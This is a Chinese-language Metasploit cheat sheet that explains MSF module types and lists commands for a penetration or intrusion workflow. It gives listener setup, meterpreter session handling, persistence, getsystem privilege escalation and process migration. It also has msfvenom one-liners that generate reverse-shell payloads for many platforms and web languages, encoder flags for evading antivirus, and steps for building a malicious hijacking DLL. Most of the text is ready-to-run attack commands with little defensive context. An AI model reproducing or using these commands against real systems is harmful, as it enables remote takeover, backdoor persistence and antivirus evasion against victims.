MSF有6个模块,分别对上面目录下的6个子文件夹:
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages:利用stagers建立的连接下载后续payload
对payload进行加密,躲避AntiVirus检查的模块
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作
msfconsole -q:快速打开
use exploit/multi/handler:使用侦听模块
show options:查看模块配置
set LHOST 本地IP:设置监听IP
set LPORT 端口:设置端口
set payload windows/meterpreter/reverse_tcp:设置payload
run/exploit
meterpreter中输入?或help获得帮助文档
set exitonsession flase:设置监听多个
run -j:后台监听
jobs:后台进程
jobs -k:停止后台监听
sessions:查看会话
sessions -i id:管理其中ID号对应的会话
bg:回退
run #执行已有的模块,输入run后按两下tab,列出已有的脚本。
run persistence -h :查看木马持久化模块脚本帮助文档
run persistence -x -i 3 -p 444 -r 192.168.124.26
ps:查看进程
getsystem:提权
migrate -h:迁移进程模块帮助文档
migrate :进程迁移到pid
msfvenom -h :查看帮助
msfvenom -l formats:查看可用文件类型
msfvenom -l archs:查看架构
msfvenom -l platforms:查看平台
msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 --platform windows -o ./meter_re_tcp_x86.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machoWeb Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
除此之外;
-e:将木马使用混淆器混淆
-i: 混淆几次
-k:添加一个新的线程。
生成恶意DLL只需要将format改为DLL。
在cmd中运行DLL。
命令:rundll32 DLL文件,DllEntryPoint
Dll劫持原理:
先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。
即可执行文件调用伪造为正常的恶意DLL,恶意DLL在调用原本的DLL,在恶意DLL调用正常DLL时,还可以同时调用我们msf生成的木马DLL。
生成恶意DLL:
https://github.com/strivexjun/AheadLib-x86-x64
让恶意DLL调用我们的木马DLL,VS编译一下
use payload/python/meterpreter/reverse_tcp
show options
set LHOST IP
生成shellcode
generate -f python -o /root/桌面/back.py
生成源码
generate -f raw -o /root/桌面/bak.py
新建目录,在目录里写脚本
use payload/linux/x64/meterpreter/reverse_tcp
set lhost 192.168.124.26
generate -f elf -o /root/桌面/back
handler -H 192.168.124.26 -P 4444 -n linux -p linux/x64/meterpreter/reverse_tcp
jobs
sessions
sessions -i 1